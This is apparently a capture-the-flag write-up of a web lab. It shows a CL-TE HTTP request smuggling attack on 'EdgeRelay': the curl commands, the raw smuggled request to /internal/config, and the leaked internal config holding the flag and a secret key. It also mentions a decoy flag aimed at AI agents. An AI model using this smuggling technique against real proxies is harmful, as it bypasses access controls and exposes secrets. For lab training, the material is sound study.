Lab 4 — EdgeRelay — HTTP Request Smuggling via CL-TE Desync
Lab 4 — EdgeRelay — HTTP Request Smuggling via CL-TE Desync
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: cl_te_request_smuggling, content_length_transfer_encoding_desync, internal_endpoint_access, request_pipelining_abuse, security_filter_bypass
Summary
Task: EdgeRelay CDN platform has a Connection Tester that forwards raw HTTP requests to internal API; /internal/* endpoints are blocked by security filter using Content-Length validation. Solution: CL-TE HTTP request smuggling — send both Content-Length and Transfer-Encoding headers to desync proxy and backend, smuggling a GET /internal/config request inside a legitimate POST body to retrieve the master_api_key flag.
Lab 4 — EdgeRelay — HTTP Request Smuggling via CL-TE Desync
Description
EdgeRelay is a CDN and edge proxy management platform. The application provides domain management, traffic analytics, access logs, cache configuration, and a diagnostics toolkit including a Connection Tester that checks connectivity to backend servers. The objective is to bypass the URL validation in the Connection Tester and access the internal API. The flag is stored as master_api_key in the internal configuration endpoint at /internal/config. Test credentials: user@test.com / password123. Flag format: FLAG{...}.
English summary: An Express.js application behind nginx/1.25.5 called EdgeRelay — a CDN and edge proxy management platform. The Diagnostics page contains a Connection Tester that sends raw HTTP requests to an internal API at 127.0.0.1:3000. The security filter blocks requests to /internal/* endpoints and validates Content-Length to prevent smuggling, but does not validate Transfer-Encoding. The goal is to access /internal/config to retrieve the master_api_key.
Target: https://fe655e90-426a-4eec-8989-8c86e7c1e0e1.labs.hackadvisor.io/ Credentials: user@test.com / password123 Stack: nginx/1.25.5, Express.js (Node.js)
Analysis
Reconnaissance
- Logged in with test credentials (user@test.com / password123) to access the EdgeRelay dashboard.
- Explored the application — found pages: Dashboard, Domains, Analytics, Access Logs, Diagnostics, Settings.
- The Diagnostics page contains a Connection Tester that sends raw HTTP requests to an internal API at
127.0.0.1:3000. - The Connection Tester works via
POST /api/connection-testwith JSON body{"request": "<raw HTTP request>"}.
Security Policy
The security policy states:
- Requests to
/internal/*endpoints are blocked by the security filter - Only one request per connection is allowed — pipelined requests are rejected
- Request body boundaries are validated using the Content-Length header to prevent payload smuggling
Available Endpoints
/api/health— health check/api/stats— server statistics/api/cache/status— cache statusPOST /api/analytics— analytics data/internal/*— restricted internal endpoints (blocked by filter)
Key Observations
- The security filter explicitly mentions Content-Length validation but says nothing about Transfer-Encoding — this is a strong hint.
- The architecture has two components: a proxy/validator (security filter) and a backend (internal API) — classic setup for HTTP request smuggling.
- The HTML source contains a decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}designed to trick automated scanners and AI agents — this is NOT the real flag.
Solution
Attack Vector: CL-TE HTTP Request Smuggling
The attack exploits a desynchronization between how the proxy (Connection Tester validator) and the backend (internal API) parse HTTP request boundaries:
- The proxy/validator uses
Content-Lengthto determine where the request body ends - The backend uses
Transfer-Encoding: chunkedto determine where the request body ends
By sending both headers simultaneously, we create a desync where the proxy sees one request but the backend sees two.
Step 1: Authenticate and Get Session
bash read-only • copy allowedBASE="https://fe655e90-426a-4eec-8989-8c86e7c1e0e1.labs.hackadvisor.io" curl -s -c cookies.txt -X POST "$BASE/api/auth/login" \ -H "Content-Type: application/json" \ -d '{"email":"user@test.com","password":"password123"}'
Step 2: Craft the CL-TE Smuggling Payload
The smuggling payload sent to /api/connection-test:
POST /api/stats HTTP/1.1\r\n
Host: 127.0.0.1:3000\r\n
Content-Length: 73\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /internal/config HTTP/1.1\r\n
Host: 127.0.0.1:3000\r\n
\r\n
How the desync works:
- The proxy/validator sees
POST /api/stats— a legitimate endpoint, passes validation ✅ - The proxy uses
Content-Length: 73to determine the body size — it considers everything (including the smuggled GET request) as part of the POST body - The proxy forwards the entire raw request to the backend
- The backend sees
Transfer-Encoding: chunkedand reads the chunked body:0\r\n\r\n(empty chunk = end of body) - The remaining bytes after the chunked body are interpreted by the backend as a new, separate request:
GET /internal/config HTTP/1.1 - The backend processes both requests and returns both responses
Step 3: Execute the Attack
bash read-only • copy allowedBASE="https://fe655e90-426a-4eec-8989-8c86e7c1e0e1.labs.hackadvisor.io" PAYLOAD='POST /api/stats HTTP/1.1\r\nHost: 127.0.0.1:3000\r\nContent-Length: 73\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal/config HTTP/1.1\r\nHost: 127.0.0.1:3000\r\n\r\n' curl -s -b cookies.txt -X POST "$BASE/api/connection-test" \ -H "Content-Type: application/json" \ -d "{\"request\": \"$PAYLOAD\"}"
Step 4: Response — Two Concatenated HTTP Responses
The backend returns two responses concatenated together:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 17
Connection: keep-alive
{"accepted":true}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 286
Connection: keep-alive
{
"service": "edgerelay-core",
"version": "3.2.1-internal",
"master_api_key": "FLAG{REDACTED}",
"cache_backend": "redis://10.0.1.5:6379/0",
"origin_pool": ["10.0.2.1:8080", "10.0.2.2:8080", "10.0.2.3:8080"],
"signing_secret": "sk_live_9f8a7b6c5d4e3f2a1b0c",
"debug_mode": false
}
The first response is from POST /api/stats (the legitimate request), and the second is from the smuggled GET /internal/config containing the flag.